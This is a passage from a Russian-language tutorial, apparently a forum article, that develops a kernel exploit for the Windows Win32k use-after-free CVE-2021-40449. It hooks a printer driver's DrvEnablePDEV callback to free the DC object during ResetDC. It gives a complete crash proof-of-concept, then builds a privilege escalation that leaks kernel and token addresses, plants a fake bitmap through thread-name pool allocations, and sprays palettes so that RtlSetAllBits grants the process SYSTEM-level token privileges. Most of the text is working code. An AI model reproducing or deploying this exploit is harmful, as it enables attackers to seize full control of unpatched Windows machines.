    printerName = _wcsdup(info->pPrinterName);
 
    GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded); // 2
    driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
    if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) { // 3
        printf("    --- Can't get printer driver\n");
        continue;
    }
    else {
        printf("    --> Got printer driver: %ws\n", driverInfo->pDriverPath);
    }
 
    driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); // 4
    if (driver == NULL) { printf("    --- Can't load printer driver\n"); continue; }
    else { printf("    --> Loaded driver!\n"); }
 
    DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver"); // 5
    DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
 
    if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) { // 6
        printf("    --- Can't enable driver!\n");
        continue;
    }
    else {
        printf("    --> Enabled driver!\n");
    }
 
    if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) { // 7
        printf("    --- Can't unprotect priver callback table\n");
        continue;
    }
 
    for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
        for (int n = 0; n < drvEnableData.c; n++) {
            ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
            if (hooks[i].index == iFunc) { // 8
                origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
                drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
                break;
            }
        }
    }
 
    DrvDisableDriver(); // 9
    VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect); // 10
    return true;
}

Разберём весь цикл по пунктам:
  1. Вызов OpenPrinterW, открываем принтер. В случае если этот вызов не пройдёт, мы просто перейдём к следующей итерации
  2. Первый вызов GetPrinterDriverW нужен для определения требуемого размера буффера.
  3. А второй для получения данных драйвера принтера.
  4. LoadLibraryExW загружает драйвер принтера
  5. Получаем нужные адреса функций(DrvEnableDriver и DrvDisableDriver)
  6. Вызов DrvEnableDriver, для включения драйвера
  7. Изменяем свойства страницы памяти, где драйвер хранит указатели на функции(Старые свойства сохраняем, и заменяем на PAGE_READWRITE)
  8. Здесь внутри цикла мы проверяем имя колбэка. Если имя совпадает с DrvEnablePDEV, мы подменяем адресс функции ссылкой на нашу fnHook, а старый адресс сохраняем.
  9. Вызываем DrvDisableDriver, отключаем драйвер
  10. Возвращаем свойства страницы с адресами колбэков

Вот структура hooks, использованная на шаге 8:
C++:
typedef struct _hookData
{
    ULONG index;
    LPVOID func;
} hookData;

hookData hooks[] = {
    {INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};

Первое поле структуры это индекс функции, а второе - указатель на функцию. И наконец origFuncs:
C++:
_VoidFunc origFuncs[INDEX_LAST];

Надеюсь суть понятна. Эта же функция перекочует в итоговый эксплоит, так что запомните её.

Остался последний шаг - функция fnHook:
C++:
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
    DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);

    if (flag) {
        flag = false;

        printf("[*] Triggering vulnerability\n");
        HDC loc_hdc = ResetDCW(hdc, NULL);
    }

    return ret;
}

Мы принимаем все аргументы оригинального вызова и передаем в старую функцию, сохранённую в origFuncs. Затем, в конце функции возвращаем результат оригинального вызова. По середине распологается условная конструкция if, проверяющая глобальную переменную flag. Наличие переменной flag гарантирует, что уязвимость не будет вызвана раньше, чем нам это потребуется.

Остался последний штрих - Несмотря на то что объект будет освобождён, его место не будет занято, поэтому указатель не будет переписан и останется валидным. Для того чтобы подтвердить концепцию уязвимости, нам нужно переписать старый объект. Делать это нужно сразу после повторого вызова NtGdiResetDC, тоесть прямо в функции fnHook. Для выделения объектов контролируемого размера, воспользуемся примитивом выделения палеток контролируемого размера. Плюс именно этого варианта в том, что мы можем контролировать не только размер но и содержание выделяемого объекта, запомните, это пригодится нам позже. Суммируя всё вышесказаное получаем следующую функцию fnHook:

C++:
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
    DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);

    if (flag) {
        flag = false;

        printf("[*] Triggering vulnerability\n");
        HDC loc_hdc = ResetDCW(hdc, NULL);

        int size = 0xe20;
        int palette_entry_count = (size - 0x90) / 4;
        int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);

        LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
        memset(lPalette, 0x4, palette_size);
        lPalette->palNumEntries = palette_entry_count;
        lPalette->palVersion = 0x300;
        for (int i = 0; i < 0x5000; i++) {
            CreatePalette(lPalette);
        }
    }

    return ret;
}

Код вызывает ResetDCW во второй раз, освобождая DCOBJ. После этого выделяет 0x5000 палеток размером 0xe20, для того чтобы переписать только что освобождённый объект мусором.

И так вот итоговый код проверки концепции:
C++:
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>

typedef struct _hookData
{
    ULONG index;
    LPVOID func;
} hookData;

typedef BOOL(*_DrvEnableDriver)(
    ULONG iEngineVersion,
    ULONG cj,
    DRVENABLEDATA* pded);

typedef DHPDEV(*_DrvEnablePDEV)(
    DEVMODEW* pdm,
    LPWSTR pwszLogAddress,
    ULONG cPat,
    HSURF* phsurfPatterns,
    ULONG cjCaps,
    ULONG* pdevcaps,
    ULONG cjDevInfo,
    DEVINFO* pdi,
    HDEV hdev,
    LPWSTR pwszDeviceName,
    HANDLE hDriver);

typedef VOID(*_VoidFunc)();

LPWSTR printerName;
HDC hdc;
bool flag;

_VoidFunc origFuncs[INDEX_LAST];

DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
    DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);

    if (flag) {
        flag = false;

        printf("[*] Triggering vulnerability\n");
        HDC loc_hdc = ResetDCW(hdc, NULL);

        int size = 0xe20;
        int palette_entry_count = (size - 0x90) / 4;
        int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);

        LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
        memset(lPalette, 0x4, palette_size);
        lPalette->palNumEntries = palette_entry_count;
        lPalette->palVersion = 0x300;
        for (int i = 0; i < 0x5000; i++) {
            CreatePalette(lPalette);
        }
    }

    return ret;
}

hookData hooks[] = {
    {INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};

BOOL SetUpHook() {
    DWORD pcbNeeded, pcbRet;
    EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
    if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }

    PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
    if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
        printf("[!] Can't enum printers!\n");
        exit(-1);
    }

    PRINTER_INFO_4W* info;
    HANDLE printer;
    HMODULE driver;
    DRIVER_INFO_2W* driverInfo;
    _DrvEnableDriver DrvEnableDriver;
    _VoidFunc DrvDisableDriver;
    DRVENABLEDATA drvEnableData;
    DWORD oldProtect, _oldProtect;
    for (int i = 0; i < pcbRet; i++) {
        info = &printerEnum[i];
        printf("[*] Printer: %ws\n", info->pPrinterName);

        if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
            printf("    --- Can't open printer!\n");
            continue;
        }
        else {
            printf("    --> Opened printer!\n");
        }
        printerName = _wcsdup(info->pPrinterName);

        GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
        driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
        if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
            printf("    --- Can't get printer driver\n");
            continue;
        }
        else {
            printf("    --> Got printer driver: %ws\n", driverInfo->pDriverPath);
        }

        driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
        if (driver == NULL) { printf("    --- Can't load printer driver\n"); continue; }
        else { printf("    --> Loaded driver!\n"); }

        DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
        DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");

        if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
            printf("    --- Can't enable driver!\n");
            continue;
        }
        else {
            printf("    --> Enabled driver!\n");
        }

        if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
            printf("    --- Can't unprotect priver callback table\n");
            continue;
        }

        for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
            for (int n = 0; n < drvEnableData.c; n++) {
                ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
                if (hooks[i].index == iFunc) {
                    origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
                    drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
                    break;
                }
            }
        }

        DrvDisableDriver();
        VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
        return true;
    }
    return false;
}

int main() {
    printf("[*] Verifying vulnerability consept\n");

    if (!SetUpHook()) {
        printf("[!] Couldn't hook function!\n");
        return 1;
    }
    else {
        printf("[+] Hooked a function!\n");
    }

    hdc = CreateDCW(NULL, printerName, NULL, NULL);
    if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }

    flag = true;
    ResetDCW(hdc, NULL);

    Sleep(1000);

    return 0;
}

Запустив получившийся код, мы должны получить BSOD из за вызова невалидного указателя. Давайте проверим это.
Сперва запускаем код:
5.png


Получаем следующее сообщение в отладчике:
6.png


Как видно из сообщения, мы получили Fatal System Error, с кодом 0x139. Майкрософт пишет следующее - https://docs.microsoft.com/en-us/wi...ug-check-0x139--kernel-security-check-failure. Тоесть "corruption of a critical data structure" - Повреждение критической структуры данных.

Кроме этого, если присмотреться, видно строку 0x0404040404040404. Напомню что четвёрками мы заполняли нашу палетку:
C++:
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;

И как результат - BSOD:
7.png


Чтож, концепция подтверждена. Настало время для разработки эксплойта!

Эксплоит
Функция RtlSetAllBits

Для начала определимся с тем, чем подменим вызываемый адрес из памяти, и вокруг этого построим весь остальной эксплоит. Типичным решением в подобной ситуации, будет адрес функции RtlSetAllBits. Давайте я подробно опишу примитив который мы будем использовать:

Функция RtlSetAllBits, устанавливает все биты в передаваемом ей bitmap. Выглядит так:
C++:
NTSYSAPI VOID RtlSetAllBits(
  [in] PRTL_BITMAP BitMapHeader
);

Зачем нам это нужно? А за тем, что если BitMapHeader, будет указывать на _SEP_TOKEN_PRIVILEGES, то мы сможем изменить привилегии токена текущего процесса!
Ранее, в своих статьях я не описывал подобную технику. В предыдущей статье с эксплуатацией CVE-2016-3309, мы просто достигли примитивов произвольного чтения и записи, а затем поменяли токен текущего процесса с системным. В этот раз такой трюк не пройдёт. Всё что у нас есть это вызов адреса функции и один аргумент для неё.

Если вы вниматьельно смотрели на вызов адреса из памяти в функции GreResetDCInternal, то обратили внимание на передеваемые в этот вызов аргументы:
C++:
(**(code **)(lVar1 + 0xab8))
                    (*(undefined8 *)(lVar1 + 0x708),
                     *(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));

Как видите, первый аргумент, берётся из того же объекта что и указатель на вызываемую функцию. После повторого вызова GreResetDCInternal, и освобождения DCOBJ, благодаря использованию примитива выделения палеток контролируемого размера и содержания, мы можем контролировать не только адрес вызываемой фукнции но и первый аргумент! Идеальное место для использования RtlSetAllBits.

Раз уж мы определились с тем что будем вызывать, давайте определимся с аргументом. А для этого, я чуть подробнее остановлюсь на том как работает изменение привилегий токена процесса:

Изменение привилегий токена процесса
Для начала давайте взглянем на структуру _TOKEN:
C++:
struct _TOKEN
{
    struct _TOKEN_SOURCE TokenSource;                                       //0x0
    struct _LUID TokenId;                                                   //0x10
    struct _LUID AuthenticationId;                                          //0x18
    struct _LUID ParentTokenId;                                             //0x20
    union _LARGE_INTEGER ExpirationTime;                                    //0x28
    struct _ERESOURCE* TokenLock;                                           //0x30
    struct _LUID ModifiedId;                                                //0x38
    struct _SEP_TOKEN_PRIVILEGES Privileges;                                //0x40
    struct _SEP_AUDIT_POLICY AuditPolicy;                                   //0x58
    ULONG SessionId;                                                        //0x78
    ULONG UserAndGroupCount;                                                //0x7c
    ULONG RestrictedSidCount;                                               //0x80
    ULONG VariableLength;                                                   //0x84

    ...
}
(Все структуры nt беру с vergiliusproject.com, очень полезный ресурс)

Я убрал не интересную нам часть структуры. Обратите вниманиме на поле Privileges, и на его смещение(0x40). Поле представляет собой структуру _SEP_TOKEN_PRIVILEGES:
C++:
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
    ULONGLONG Present;                                                      //0x0
    ULONGLONG Enabled;                                                      //0x8
    ULONGLONG EnabledByDefault;                                             //0x10
};

Я запустил powershell.exe на виртуальной машине, чтобы взглянуть на структуру _SEP_TOKEN_PRIVILEGES в реальном процессе. Вот как выглядит вывод команды whoami /all:
8.png


А так выглядит структура _SEP_TOKEN_PRIVILEGES, для процесса powershell.exe:
9.png


Теперь давайте сравним _SEP_TOKEN_PRIVILEGES у процесса powershell.exe и system:
10.jpg

Красным подчёркнуты поля Present и Enabled у _SEP_TOKEN_PRIVILEGES системы, а зелёным - у powershell.exe. Значения полей у powershell.exe - значительно меньше.

Я заменил поля Present и Enabled для powershell на системные(изменённые поля отмечены синим). Теперь давайте взглянем на вывод whoami /all, для процесса powershell.exe с изменёнными полями:
11.png


Привилегии совпадают с системными! Надеюсь суть того, как работает техника изменения токена процесса теперь ясна.

Фейковый BitMapHeader
Осталось разобраться с ещё парой деталей, одна из них - фейковый BitMapHeader. Дело в том что в функцию RtlSetAllBits(), мы передаём указатель на RTL_BITMAP:
C++:
NTSYSAPI VOID RtlSetAllBits(
  [in] PRTL_BITMAP BitMapHeader
);

Для создания структуры RTL_BITMAP в памяти, мы воспользуемся примитивом ThreadName. Есть статья от автора техники, но она на английском и достаточно длинная, так что я вкратце опишу то, как это работает:
Давайте взглянем на структуру _ETHREAD:
C++:
//0x810 bytes (sizeof)
struct _ETHREAD
{
    struct _KTHREAD Tcb;                                                    //0x0
    union _LARGE_INTEGER CreateTime;                                        //0x5f0
    union
    {
        union _LARGE_INTEGER ExitTime;                                      //0x5f8
        struct _LIST_ENTRY KeyedWaitChain;                                  //0x5f8
    };
  
    ...

    struct _UNICODE_STRING* ThreadName;                                     //0x7d0
  
    ...
};

Я убрал лишнее, оставив только ThreadName. Это указатель на _UNICODE_STRING.
Это поле в _ETHREAD, изменяется функцией kernelbase.dll!SetThreadDescription:
C++:
HRESULT __stdcall SetThreadDescription(HANDLE hThread, PCWSTR lpThreadDescription) {
  NTSTATUS v3; // eax
  _UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h] BYREF

  v3 = RtlInitUnicodeStringEx(&DestinationString, lpThreadDescription);
  if ( v3 >= 0 )
    v3 = NtSetInformationThread(hThread, ThreadDescriptorTableEntry|0x20, &DestinationString, 0x10u);
  return v3 | 0x10000000;
}

Вся функция по сути сводится к вызову nt!NtSetInformationThread, вот листинг:
C++:
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength)
{
    ...

    v36 = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, LOWORD(Src[0]) + 0x10i64, 'mNhT');
  
    ...
}
Опять же, я убрал всё лишнее. Тут нам интересен только один вызов - выделение памяти в NonPagedPoolNx, нужного размера(согласно длинне строки) и тэгом ThNm.

Тоесть при вызове NtSetInformationThread, мы можем вызвать выделение в NonPagedPoolNx, контролируемого размера и содержания. Кроме того зная размер и тэг, мы можем найти адрес полученого выделения, при помощи NtQuerySystemInformation. Вот код, который выполнит подобный поиск:
C++:
typedef struct {
  DWORD64 Address;
  DWORD64 PoolSize;
  char PoolTag[4];
  char Padding[4];
}
BIG_POOL_INFO, *PBIG_POOL_INFO;

ULONG_PTR LookForThreadNamePoolAddress(PVOID pSystemBigPoolInfoBuffer, DWORD64 dwExpectedSize) {
  ULONG_PTR StartAddress = (ULONG_PTR)pSystemBigPoolInfoBuffer;
  ULONG_PTR EndAddress = StartAddress + 8 + *( (PDWORD)StartAddress ) * sizeof(BIG_POOL_INFO);
  ULONG_PTR ptr = StartAddress + 8;
  while (ptr < EndAddress) {
    PBIG_POOL_INFO info = (PBIG_POOL_INFO) ptr;
    if( strncmp( info->PoolTag, "ThNm", 4)==0 && dwExpectedSize==info->PoolSize ) {
      return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
    }
    ptr += sizeof(BIG_POOL_INFO);
  }
  return 0;
}

Что-ж, на данный момент мы разобрали почти все основные моменты. Остальные детали я разъясню по ходу написания. Давайте писать эксплоит!

Пишем эксплоит
Первым делом - шаблон:
C++:
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>

int main() {
    printf("[*] Starting exploit for CVE-2021-40449 Windows 10.0.17763.1757\n");

    return 0;
}

Теперь получим pid и подгрузим библиоткети:
C++:
pid = GetCurrentProcessId();
printf("[*] Current process pid: %i\n", pid);
HMODULE nt = LoadLibraryA("ntdll.dll");
HMODULE kernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);

Получим адресс ntoskrnl.exe. Довольно просто метод, с использованием EnumDeviceDrivers:
CoffeeScript:
ULONG lpcbNeeded;
EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
DWORD64* drivers = (DWORD64*)malloc(lpcbNeeded);
if (!EnumDeviceDrivers((LPVOID*)drivers, lpcbNeeded, &lpcbNeeded)) {
    printf("[!] Can't get kernel address, EnumDeviceDrivers() error!\n");
    return 1;
}
DWORD64 kernelAddr = drivers[0]; // it's ntoskrnl.exe
free(drivers);
printf("[+] Got kernel address: 0x%llx\n", kernelAddr);

Теперь найдём NtQuerySystemInformation n NtSetInformationThread. Кроме того сразу получим адресс RtlSetAllBits:
C++:
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(nt, "NtQuerySystemInformation");
fnNtSetInformationThread = (_NtSetInformationThread)GetProcAddress(nt, "NtSetInformationThread");
DWORD64 offRtlSetAllBits = (DWORD64)GetProcAddress(kernel, "RtlSetAllBits");
fnRtlSetAllBits = (DWORD64)kernelAddr + offRtlSetAllBits - (DWORD64)kernel;
printf("[+] Got needed function addresses: \n    --> NtQuerySystemInformation: 0x%llx\n    --> NtSetInformationThread: 0x%llx\n    --> RtlSetAllBits: 0x%llx\n", DWORD64)fnNtQuerySystemInformation, (DWORD64)fnNtSetInformationThread, (DWORD64)fnRtlSetAllBits);

Следующим нам нужно получить адрес токена текущего процесса. Для этого сначала добавим функцию которая получая хендлер объекта, вернёт нам его адресс в памяти ядра.
Я проставил цифры в ключевых местах:
C++:
DWORD64 PtrFromHandle(HANDLE handle, DWORD type) {
    PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); //1

    ULONG returnLength = 0x20;
    fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength); // 2

    free(handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(returnLength);
    fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength); // 3

    for (int i = 0; i < handleInfo->NumberOfHandles; i++) { // 4
        if (handleInfo->Handles[i].UniqueProcessId = pid && handleInfo->Handles[i].ObjectTypeIndex == type && handle == (HANDLE)handleInfo->Handles[i].HandleValue) {
            DWORD64 ptr = (DWORD64)handleInfo->Handles[i].Object;
            free(handleInfo);
            return ptr;
        }
    }

    free(handleInfo);
    return 0;
}
1 - Создаём объект SYSTEM_HANDLE_INFORMATION:
C++:
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
2 - Первый вызов NtQuerySystemInformation, нужен для того чтобы узнать сколько места надо выделить под второй SYSTEM_HANDLE_INFORMATION
3 - Второй вызов NtQuerySystemInformation
4 - Итерируемся по созданному после 2 шага объекту, ищем нужный нам элемент. В случае успеха возвращаем адрес

Возвращаемся в main и получаем адресс токена:
C++:
HANDLE token;
DWORD64 tokenAddress = 0;
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (process == NULL) { printf("[!] Can't open current process\n"); return 1; }
if (!OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[!] Can't open current process token\n"); return 1; }
for (int i = 0; i < 0x100; i++) {
    tokenAddress = PtrFromHandle(token, 0x5);
    if (tokenAddress != 0) { printf("[+] Current process token address: 0x%llx\n", tokenAddress); break; }
}

Настал момент создать фейковый битмап. Я уже объяснял как это происходит, но есть одна деталь которую я не упомянул:
C++:
DWORD threadId;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &threadId);
LPVOID buf = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
memset(buf, 0x41, 0x20);
*(DWORD64*)buf = 0x80;
*(DWORD64*)((DWORD64)buf + 8) = (tokenAddress + 0x40); // Тут
UNICODE_STRING payload = {};
payload.Buffer = (PWSTR)buf;
payload.Length = 0x1000;
payload.MaximumLength = 0xffff;
DWORD outSize;
DWORD size = 1024 * 1024;
LPVOID infoBuf = LocalAlloc(LPTR, size);
bool found = false;
 
fnNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &payload, 0x10);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, infoBuf, size, &outSize);
 
PBIG_POOL_INFO info;
ULONG_PTR start = (ULONG_PTR)infoBuf + 8;
ULONG_PTR end = start + *((PDWORD)infoBuf) * sizeof(BIG_POOL_INFO);
while (start < end) {
    info = (PBIG_POOL_INFO)start;
    if (strncmp(info->PoolTag, "ThNm", 4) == 0 && info->PoolSize == (payload.Length + sizeof(UNICODE_STRING))) {
        fakeBitmap = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
        found = true;
        break;
    }
    start += sizeof(BIG_POOL_INFO);
}
if (found == false) {
    printf("[!] Can't leak address of fake bitmap!\n");
    return 1;
}
else {
    printf("[+] Created fake bitmap at: 0x%llx\n", fakeBitmap);
}
Мы помещаем в buf + 8, адрес токена + 0x40, тоесть адрес поля Privileges из структуры _TOKEN

Теперь установим хук. Функция будет идентичная той, что мы применяли раньше:
C++:
BOOL SetUpHook() {
    DWORD pcbNeeded, pcbRet;
    EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
    if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }

    PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
    if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
        printf("[!] Can't enum printers!\n");
        exit(-1);
    }
  
    PRINTER_INFO_4W* info;
    HANDLE printer;
    HMODULE driver;
    DRIVER_INFO_2W* driverInfo;
    _DrvEnableDriver DrvEnableDriver;
    _VoidFunc DrvDisableDriver;
    DRVENABLEDATA drvEnableData;
    DWORD oldProtect, _oldProtect;
    for (int i = 0; i < pcbRet; i++) {
        info = &printerEnum[i];
        printf("[*] Printer: %ws\n", info->pPrinterName);

        if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
            printf("    --- Can't open printer!\n");
            continue;
        } else {
            printf("    --> Opened printer!\n");
        }
        printerName = _wcsdup(info->pPrinterName);
      
        GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
        driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
        if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
            printf("    --- Can't get printer driver\n");
            continue;
        } else {
            printf("    --> Got printer driver: %ws\n", driverInfo->pDriverPath);
        }

        driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
        if (driver == NULL) { printf("    --- Can't load printer driver\n"); continue; }
        else { printf("    --> Loaded driver!\n"); }

        DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
        DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");

        if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
            printf("    --- Can't enable driver!\n");
            continue;
        } else {
            printf("    --> Enabled driver!\n");
        }

        if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
            printf("    --- Can't unprotect priver callback table\n");
            continue;
        }

        for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
            for (int n = 0; n < drvEnableData.c; n++) {
                ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
                if (hooks[i].index == iFunc) {
                    origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
                    drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
                    break;
                }
            }
        }

        DrvDisableDriver();
        VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
        return true;
    }
    return false;
}

Вызов функции SetUpHook():
C++:
if(!SetUpHook()) {
    printf("[!] Couldn't hook function!\n");
    return 1;
} else {
    printf("[+] Hooked a function!\n");
}

Перед там как тригерить уязвимость, надо кое-что изменить в ранее использованной fnHook:
C++:
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
    DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
  
    if (flag) {
        flag = false;

        printf("[*] Triggering vulnerability\n");
        HDC loc_hdc = ResetDCW(hdc, NULL);
      
        printf("[+] Now spray\n");
        int size = 0xe20;
        int palette_entry_count = (size - 0x90) / 4;

        int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
        LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
        DWORD64* ptr = (DWORD64*)((DWORD64)lPalette + 4);

        for (int i = 0; i < 0x120; i++) { ptr[i] = fakeBitmap; } // 1
        for (int i = 0x120; i < (palette_size - 4) / 8; i++) { ptr[i] = fnRtlSetAllBits; } // 2

        lPalette->palNumEntries = (WORD)palette_entry_count;
        lPalette->palVersion = 0x300;

        for (int i = 0; i < 0x5000; i++) { CreatePalette(lPalette); }

        printf("[+] Spray is done\n");
    }

    return ret;
}
